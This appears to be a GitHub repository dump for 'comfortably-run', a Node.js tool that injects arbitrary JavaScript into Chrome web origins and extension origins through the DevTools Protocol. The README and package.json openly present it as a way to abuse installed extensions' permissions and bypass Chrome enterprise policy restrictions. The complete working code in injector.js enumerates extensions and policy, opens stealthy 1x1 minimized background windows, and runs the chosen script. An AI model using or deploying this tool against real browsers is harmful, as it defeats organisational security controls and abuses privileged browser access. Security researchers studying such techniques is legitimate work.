├── README.md ├── images ├── dump-chrome-enterprise-policy.png ├── injecting-into-origin.png └── listing-extension-permissions.png ├── injector.js ├── package-lock.json └── package.json /README.md: -------------------------------------------------------------------------------- 1 | # comfortably-run 2 | ### A tool for injecting into Chrome origins & extensions via the Chrome DevTool Protocol 3 | 4 | ## Usage 5 | 6 | ``` 7 | $ node injector.js --help 8 | Usage: injector [options] 9 | 10 | comfortably-run is a CLI utility which can be used to inject JavaScript into arbitrary Chrome origins via the Chrome DevTools Protocol. 11 | 12 | Options: 13 | -V, --version output the version number 14 | -h, --host Host that Chrome/Chromium is running remote debugging on (default 'localhost'). 15 | -p, --port Port which remote debugging is hosted on (default 9222). (default: 9222) 16 | -m, --method The method of injection. Works either by evaluating in an existing page ("existing") or by creating a new page in the background for the 17 | origin ("create") if one does not exist. Default is "existing" which will fail if no pages exist with the origin specified. Note that this 18 | will *not* affect the original script as the injected script is run in an isolated world. (default: "existing") 19 | -c, --cleanup Only available if using the "create" method. Closes out the created page after injecting the script. (default: false) 20 | -s, --script Either a path to a JavaScript file or inline JavaScript to execute in the specified origin. 21 | -o, --origin The origin to inject the JavaScript into, such as https://example.com or chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm 22 | -l, --list List currently installed extensions and their permissions. (default: false) 23 | -gp, --getpolicy Get Chrome browser enterprise policy. (default: false) 24 | --help display help for command 25 | ``` 26 | 27 | To inject arbitrary JavaScript into arbitrary origins for a Chrome browser you must first have a Chrome instance with the DevTools protocol listeners enabled. This can be done by launching Chrome with the `--remote-debugging-port` flag: 28 | 29 | ``` 30 | /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --remote-debugging-port=9222 31 | ``` 32 | 33 | Once the instance is running you can do a variety of things with the CLI tool. You can do things like dump all extensions and their allowed permissions, dump the configured enterprise policy, and of course inject JavaScript into arbitrary origins (including extensions origins). 34 | 35 | Here is an example of injecting a script into an extension's origin: 36 | 37 | ``` 38 | $ node injector.js -m create -c -s "JSON.stringify(Object.keys(window.chrome))" -o chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm 39 | *** Result of your injected script *** 40 | Return type: string 41 | Returned data: 42 | ["loadTimes","csi","app","browserAction","commands","contextMenus","extension","i18n","management","permissions","privacy","runtime","storage","tabs","webNavigation","webRequest","windows" 43 | ``` 44 | 45 | The above command demonstrates a few things which we'll break down by flag: 46 | 47 | * `-m create` This is specifying the injection mode as "create" (vs "existing"). The "create" mode is similar to the "existing" mode in one key way: if no windows or background pages exist with the specified origin then a background window will be created to inject into. While this is fairly stealthy, their is a brief visual cue. 48 | * `-c` This flag only works with `-m create`, it will automatically close a window after it's been created for the script injection (if one was created due to no existing windows with that origin being present). 49 | * `-s "JSON.stringify(Object.keys(window.chrome))"` This flag is specifying a script to inject into the origin we specified. This can be either an inline script OR a file path. In this case we're dumping all of the `chrome.*` APIs available to the `uBlock Origin` extension. **Importantly**, we should ensure the returned data is a string and not a complex object. You can also specify code that returns a promise and the CLI tool will automatically wait for appropriate resolution before returning the results. 50 | * `-o chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm` This specifies the origin to inject our script into, in this case the `uBlock Origin` extension. 51 | 52 | 53 | **Note About Enterprise Policy & Injection** 54 | 55 | This tool becomes especially useful for restricted environments where only a few extensions are allowed access to certain Chrome extension APIs. With this tool you can bypass these restrictions by injecting into extensions explicitly whitelisted for those priveleges. 56 | 57 | ## Screenshots 58 | 59 | ### Dumping Chrome Enterprise Policy 60 | ![](./images/dump-chrome-enterprise-policy.png) 61 | 62 | ### Injecting into an Arbitrary Origin 63 | ![](./images/injecting-into-origin.png) 64 | 65 | ### List All Extensions and Their Allowed Permissions 66 | ![](./images/listing-extension-permissions.png) -------------------------------------------------------------------------------- /images/dump-chrome-enterprise-policy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/comfortably-run/053a5074d88516295e5dd48f312887da55102d3d/images/dump-chrome-enterprise-policy.png -------------------------------------------------------------------------------- /images/injecting-into-origin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/comfortably-run/053a5074d88516295e5dd48f312887da55102d3d/images/injecting-into-origin.png -------------------------------------------------------------------------------- /images/listing-extension-permissions.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/comfortably-run/053a5074d88516295e5dd48f312887da55102d3d/images/listing-extension-permissions.png -------------------------------------------------------------------------------- /injector.js: -------------------------------------------------------------------------------- 1 | const CDP = require('chrome-remote-interface'); 2 | const { Command } = require('commander'); 3 | const util = require('util'); 4 | const fs = require('fs'); 5 | 6 | const POLICY_ENUMERATION_SCRIPT = ` 7 | const wait = ms => new Promise(res => setTimeout(res, ms)); 8 | async function get_chrome_policy() { 9 | return new Promise(function(resolve, reject) { 10 | var capture_policy = window.policy.Page.getInstance(); 11 | var chrome_policy = {}; 12 | capture_policy.onPoliciesReceived_ = function(policyNames, policyValues) { 13 | resolve(JSON.parse(JSON.stringify(policyValues))); 14 | }; 15 | capture_policy.initialize(); 16 | }); 17 | } 18 | (async () => { 19 | await wait((1000 * 2)) 20 | const chrome_policies = await get_chrome_policy(); 21 | const chrome_matching_policy = chrome_policies.filter(chrome_policy => { 22 | return chrome_policy.id === 'chrome' 23 | }); 24 | if(chrome_matching_policy.length === 0) { 25 | return null; 26 | } 27 | return JSON.stringify(chrome_matching_policy[0].policies); 28 | })(); 29 | `; 30 | 31 | const EXTENSION_ENUMERATION_SCRIPT = ` 32 | function get_chrome_extensions() { 33 | return new Promise(function(resolve, reject) { 34 | chrome.management.getAll((extensions) => { 35 | resolve(extensions); 36 | }); 37 | }); 38 | } 39 | (async () => { 40 | const unique_name_extension_data = await get_chrome_extensions(); 41 | return JSON.stringify(unique_name_extension_data); 42 | })();`; 43 | 44 | const wait = ms => new Promise(res => setTimeout(res, ms)); 45 | 46 | const program_banner = ` 47 | __ _ _ _ 48 | / _| | | | | | | 49 | ___ ___ _ __ ___ | |_ ___ _ __| |_ __ _| |__ | |_ _ 50 | / __/ _ \\| '_ \` _ \\| _/ _ \\| '__| __/ _\` | '_ \\| | | | | 51 | | (_| (_) | | | | | | || (_) | | | || (_| | |_) | | |_| | 52 | \\___\\___/|_| |_| |_|_| \\___/|_| \\__\\__,_|_.__/|_|\\__, | 53 | | '__| | | | '_ \\ __/ | 54 | | | | |_| | | | | |___/ 55 | |_| \\__,_|_| |_| by mandatory (@IAmMandatory) 56 | `; 57 | 58 | (async () => { 59 | const program = new Command(); 60 | 61 | program 62 | .version('0.0.1') 63 | .description('comfortably-run is a CLI utility which can be used to inject JavaScript into arbitrary Chrome origins via the Chrome DevTools Protocol.') 64 | .option('-h, --host ', 'Host that Chrome/Chromium is running remote debugging on (default \'localhost\').') 65 | .option('-p, --port ', 'Port which remote debugging is hosted on (default 9222).', 9222) 66 | .option('-m, --method ', 'The method of injection. Works either by evaluating in an existing page ("existing") or by creating a new page in the background for the origin ("create") if one does not exist. Default is "existing" which will fail if no pages exist with the origin specified. Note that this will *not* affect the original script as the injected script is run in an isolated world.', 'existing') 67 | .option('-c, --cleanup', 'Only available if using the "create" method. Closes out the created page after injecting the script.', false) 68 | .option('-s, --script ', 'Either a path to a JavaScript file or inline JavaScript to execute in the specified origin.') 69 | .option('-o, --origin ', 'The origin to inject the JavaScript into, such as https://example.com or chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm') 70 | .option('-l, --list', 'List currently installed extensions and their permissions.', false) 71 | .option('-gp, --getpolicy', 'Get Chrome browser enterprise policy.', false) 72 | 73 | program.parse(process.argv); 74 | 75 | // Host settings for connecting to Chrome/Chromium 76 | const host_settings = { 77 | host: program.host, 78 | port: program.port 79 | }; 80 | 81 | const cdp_client = await CDP({ 82 | host: host_settings.host, 83 | port: host_settings.port 84 | }); 85 | 86 | if(!(program.script && program.origin) && !program.list && !program.getpolicy) { 87 | console.error(`Error, both --script and --origin are required options unless --list or --getpolicy is specified.`); 88 | process.exit(); 89 | } 90 | 91 | // List extensions and permissions 92 | if(program.list) { 93 | const target_origin = `chrome://extensions`; 94 | const script_results = await run_script_get_results( 95 | cdp_client, 96 | host_settings, 97 | target_origin, 98 | EXTENSION_ENUMERATION_SCRIPT 99 | ); 100 | 101 | const extensions_array = JSON.parse(script_results.value); 102 | 103 | const formatted_extensions = extensions_array.map(extension_data => { 104 | const combined_permissions = extension_data.hostPermissions.concat( 105 | extension_data.permissions 106 | ); 107 | 108 | console.log(`ID: ${extension_data.id}`); 109 | console.log(`Name: ${extension_data.name}`); 110 | console.log(`Description: ${extension_data.description}`); 111 | console.log(`Enabled: ${extension_data.enabled}`); 112 | console.log(`Permissions:`); 113 | 114 | if(combined_permissions.length > 0) { 115 | combined_permissions.map(permission => { 116 | console.log(`* ${permission}`); 117 | }); 118 | } else { 119 | console.log(``); 120 | } 121 | console.log(`\n--- \n`); 122 | }); 123 | 124 | process.exit(); 125 | } 126 | 127 | if(program.getpolicy) { 128 | const target_origin = `chrome://policy`; 129 | const script_results = await run_script_get_results( 130 | cdp_client, 131 | host_settings, 132 | target_origin, 133 | POLICY_ENUMERATION_SCRIPT 134 | ); 135 | 136 | console.log( 137 | JSON.stringify( 138 | JSON.parse(script_results.value), 139 | false, 140 | 4 141 | ) 142 | ); 143 | process.exit(); 144 | } 145 | 146 | // Don't allow specifying "cleanup" and method "existing" 147 | if(program.cleanup && program.method === 'existing') { 148 | console.error(`Error, you cannot specify both an injection method of "existing" and require cleanup after injection.`); 149 | console.error(`If this ran it would close out something the browser session is currently using!`); 150 | process.exit(-1); 151 | } 152 | 153 | // Ensure user specified either "existing" or "create" for the injection method 154 | if(!["existing", "create"].includes(program.method)) { 155 | console.error(`Invalid method specified, you must specify either "existing" or "create"!`); 156 | process.exit(-1); 157 | } 158 | 159 | // Resolve the specified script 160 | const script_to_inject = await resolve_script(program.script); 161 | 162 | const formatted_target_origin = (/^[a-p]{32}$/g.test(program.origin) ? `chrome-extension://${program.origin}` : program.origin); 163 | const target_origin = is_valid_origin(formatted_target_origin); 164 | 165 | if(!target_origin) { 166 | console.error(`Error, invalid origin specified: ${program.origin.trim()}`); 167 | console.error(`Please specify a valid origin, e.g: https://example.com, chrome-extension://cjpalhdlnbpafiamejdnhcphjbkeiagm`); 168 | process.exit(-1); 169 | } 170 | 171 | let target_origin_metadata = await get_target_with_matching_origin( 172 | cdp_client, 173 | target_origin 174 | ); 175 | 176 | // Track if we had to create a window or not. 177 | let is_created_window = false; 178 | 179 | if(!target_origin_metadata && program.method === 'existing') { 180 | console.error(`No running pages were found with the origin you specified: ${target_origin}`); 181 | console.error(`If you'd like to create a new page with the origin specified use the "--method create" flag.`) 182 | process.exit(-1); 183 | } 184 | 185 | if(!target_origin_metadata) { 186 | target_origin_metadata = await create_new_target_with_origin( 187 | cdp_client, 188 | host_settings, 189 | target_origin 190 | ); 191 | is_created_window = true; 192 | } 193 | 194 | const target_id = target_origin_metadata.targetId; 195 | 196 | const injection_result = await inject_script_into_target( 197 | target_id, 198 | host_settings, 199 | script_to_inject, 200 | false 201 | ); 202 | 203 | console.log(`*** Result of your injected script ***`); 204 | console.log(`Return type: ${injection_result.type}`); 205 | console.log(`Returned data:`); 206 | console.log(injection_result.value) 207 | 208 | // If we created a window for this and the user 209 | // asked for us to close it out after the script 210 | // has finished running, we close the window. 211 | if(is_created_window && program.cleanup) { 212 | await close_new_window(target_id, host_settings); 213 | } 214 | 215 | process.exit(0); 216 | })(); 217 | 218 | async function run_script_get_results(cdp_client, host_settings, target_origin, script) { 219 | const target_origin_metadata = await create_new_target_with_origin( 220 | cdp_client, 221 | host_settings, 222 | target_origin 223 | ); 224 | const target_id = target_origin_metadata.targetId; 225 | const script_result = await inject_script_into_target( 226 | target_id, 227 | host_settings, 228 | script, 229 | false 230 | ); 231 | await close_new_window( 232 | target_id, 233 | host_settings 234 | ); 235 | return script_result; 236 | } 237 | 238 | async function close_new_window(target_id, host_settings) { 239 | const new_window_client = await CDP({ 240 | target: target_id, 241 | host: host_settings.host, 242 | port: host_settings.port 243 | }); 244 | 245 | const {Page} = new_window_client; 246 | 247 | const close_result = await Page.close(); 248 | } 249 | 250 | async function create_new_target_with_origin(cdp_client, host_settings, input_origin) { 251 | const { Target } = cdp_client; 252 | 253 | const created_target_data = await Target.createTarget({ 254 | url: 'about:blank', 255 | newWindow: true, 256 | background: true 257 | }); 258 | const created_target_id = created_target_data.targetId; 259 | 260 | // Pull metadata for what we just created 261 | const targets_metadata_array = await Target.getTargets(); 262 | let new_target_metadata = false; 263 | 264 | targets_metadata_array.targetInfos.map(target_metadata => { 265 | const current_target_id = target_metadata.targetId; 266 | if(current_target_id == created_target_id) { 267 | new_target_metadata = target_metadata; 268 | } 269 | }); 270 | 271 | // Now we need to minimize the window to make it stealthy 272 | // We'll also make the window smaller. 273 | const new_window_client = await CDP({ 274 | target: created_target_id, 275 | host: host_settings.host, 276 | port: host_settings.port 277 | }); 278 | 279 | const {Page, Fetch} = new_window_client; 280 | 281 | // Don't do the interception routine if it's not a web origin 282 | if(!(input_origin.startsWith('http://') || input_origin.startsWith('https://'))) { 283 | // Navigate to the origin the user specified... 284 | const page_navigate_promise = Page.navigate({ 285 | url: input_origin 286 | }); 287 | await hide_window(new_window_client); 288 | 289 | return new_target_metadata; 290 | } 291 | 292 | request_paused_event_promise = Fetch.requestPaused(); 293 | 294 | // Enable request interception so we can intercept the 295 | // request to 296 | const fetch_enabling = await Fetch.enable({ 297 | patterns: [ 298 | { 299 | urlPattern: `${input_origin}/`, 300 | requestStage: 'Request' 301 | } 302 | ] 303 | }); 304 | 305 | // Navigate to the origin the user specified... 306 | const page_navigate_promise = Page.navigate({ 307 | url: input_origin 308 | }); 309 | 310 | // Now wait until the promise resolves (should be basically immediate) 311 | const request_paused_event = await request_paused_event_promise; 312 | 313 | // Now we rewrite the response to be an immediate empty 200 OK 314 | // That way we load nothing from the actual origin and it will always 315 | // load as expected. 316 | const fulfill_result = await Fetch.fulfillRequest({ 317 | requestId: request_paused_event.requestId, 318 | responseCode: 200, 319 | responseHeaders: [ 320 | { 321 | name: 'Content-Type', 322 | value: 'text/plain' 323 | }, 324 | ], 325 | body: '' 326 | }); 327 | 328 | // No need for any further interception 329 | await Fetch.disable(); 330 | 331 | return new_target_metadata; 332 | } 333 | 334 | async function hide_window(new_window_client) { 335 | const {Browser} = new_window_client; 336 | const new_window_metadata = await Browser.getWindowForTarget(); 337 | const new_window_id = new_window_metadata.windowId; 338 | 339 | // Setting top and left to these large numbers appears to 340 | // make it so the window will close when you click on it in 341 | // the bottom bar. This is actually nice behavior, so we 342 | // just roll with it. 343 | const resize_result = await Browser.setWindowBounds({ 344 | windowId: new_window_id, 345 | bounds: { 346 | width: 1, 347 | height: 1 348 | } 349 | }); 350 | 351 | const minimize_result = await Browser.setWindowBounds({ 352 | windowId: new_window_id, 353 | bounds: { 354 | windowState: 'minimized', 355 | } 356 | }); 357 | } 358 | 359 | async function get_target_with_matching_origin(cdp_client, target_origin) { 360 | const { Target } = cdp_client; 361 | const available_targets = await Target.getTargets(); 362 | const matching_targets = available_targets.targetInfos.filter(target_metadata => { 363 | return target_metadata.url.startsWith(target_origin); 364 | }); 365 | if(matching_targets.length > 0) { 366 | return matching_targets[0]; 367 | } 368 | 369 | return null; 370 | } 371 | 372 | function is_valid_origin(input_origin) { 373 | const valid_protocol_handlers = [ 374 | 'https:', 375 | 'http:', 376 | 'file:', 377 | 'chrome-extension:', 378 | 'chrome:' 379 | ]; 380 | 381 | let url_object = null; 382 | 383 | try { 384 | url_object = new URL(input_origin); 385 | } catch (e) { 386 | return false; 387 | } 388 | 389 | let has_valid_protocol_handler = false; 390 | 391 | valid_protocol_handlers.map(protocol_handler => { 392 | if(url_object.protocol.startsWith(protocol_handler)) { 393 | has_valid_protocol_handler = true; 394 | } 395 | }); 396 | 397 | if(!has_valid_protocol_handler) { 398 | return false; 399 | } 400 | 401 | if(!url_object.origin) { 402 | return false; 403 | } 404 | 405 | if(url_object.origin === 'null') { 406 | return input_origin; 407 | } 408 | 409 | return url_object.origin; 410 | } 411 | 412 | async function resolve_script(filename_or_script) { 413 | // Attempt to resolve the supplied string as a filesystem path 414 | // If that fails (because it's actually an inline script) then just return 415 | // the entire specified string directly. 416 | const potential_file_contents = await attempt_file_script_resolve(filename_or_script); 417 | return (potential_file_contents === false ? filename_or_script : potential_file_contents); 418 | } 419 | 420 | async function attempt_file_script_resolve(filename_or_script) { 421 | const readFileAsync = util.promisify(fs.readFile); 422 | 423 | return readFileAsync( 424 | filename_or_script, 425 | { 426 | encoding: 'utf8', 427 | flag: 'r' 428 | } 429 | ).then((file_contents => { 430 | return file_contents; 431 | }), (error) => { 432 | return false; 433 | }); 434 | } 435 | 436 | async function inject_script_into_target(target_id, host_settings, script_to_inject, isolation_enabled) { 437 | const extension_target_client = await CDP({ 438 | target: target_id, 439 | host: host_settings.host, 440 | port: host_settings.port 441 | }); 442 | 443 | const {Target, Page, Runtime} = extension_target_client; 444 | 445 | let runtime_params = { 446 | expression: script_to_inject, 447 | awaitPromise: true, 448 | } 449 | 450 | if(isolation_enabled) { 451 | const frame_tree = await Page.getFrameTree({}); 452 | 453 | const isolated_world_data = await Page.createIsolatedWorld({ 454 | frameId: frame_tree.frameTree.frame.id, 455 | }); 456 | 457 | const execution_context_id = isolated_world_data.executionContextId; 458 | runtime_params['contextId'] = execution_context_id; 459 | } 460 | 461 | const evaluate_results = await Runtime.evaluate(runtime_params); 462 | 463 | return evaluate_results.result; 464 | } -------------------------------------------------------------------------------- /package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "comfortably-run", 3 | "version": "1.0.0", 4 | "lockfileVersion": 1, 5 | "requires": true, 6 | "dependencies": { 7 | "chrome-remote-interface": { 8 | "version": "0.28.2", 9 | "resolved": "https://registry.npmjs.org/chrome-remote-interface/-/chrome-remote-interface-0.28.2.tgz", 10 | "integrity": "sha512-F7mjof7rWvRNsJqhVXuiFU/HWySCxTA9tzpLxUJxVfdLkljwFJ1aMp08AnwXRmmP7r12/doTDOMwaNhFCJsacw==", 11 | "requires": { 12 | "commander": "2.11.x", 13 | "ws": "^7.2.0" 14 | }, 15 | "dependencies": { 16 | "commander": { 17 | "version": "2.11.0", 18 | "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz", 19 | "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ==" 20 | } 21 | } 22 | }, 23 | "commander": { 24 | "version": "6.2.1", 25 | "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz", 26 | "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==" 27 | }, 28 | "ws": { 29 | "version": "7.4.1", 30 | "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.1.tgz", 31 | "integrity": "sha512-pTsP8UAfhy3sk1lSk/O/s4tjD0CRwvMnzvwr4OKGX7ZvqZtUyx4KIJB5JWbkykPoc55tixMGgTNoh3k4FkNGFQ==" 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "comfortably-run", 3 | "version": "1.0.0", 4 | "description": "Inject JavaScript into existing Chrome extensions via the Chrome DevTools Protocol to abuse their permissions.", 5 | "main": "injector.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "mandatory", 10 | "license": "MIT", 11 | "dependencies": { 12 | "chrome-remote-interface": "^0.28.2", 13 | "commander": "^6.2.1" 14 | } 15 | } 16 | --------------------------------------------------------------------------------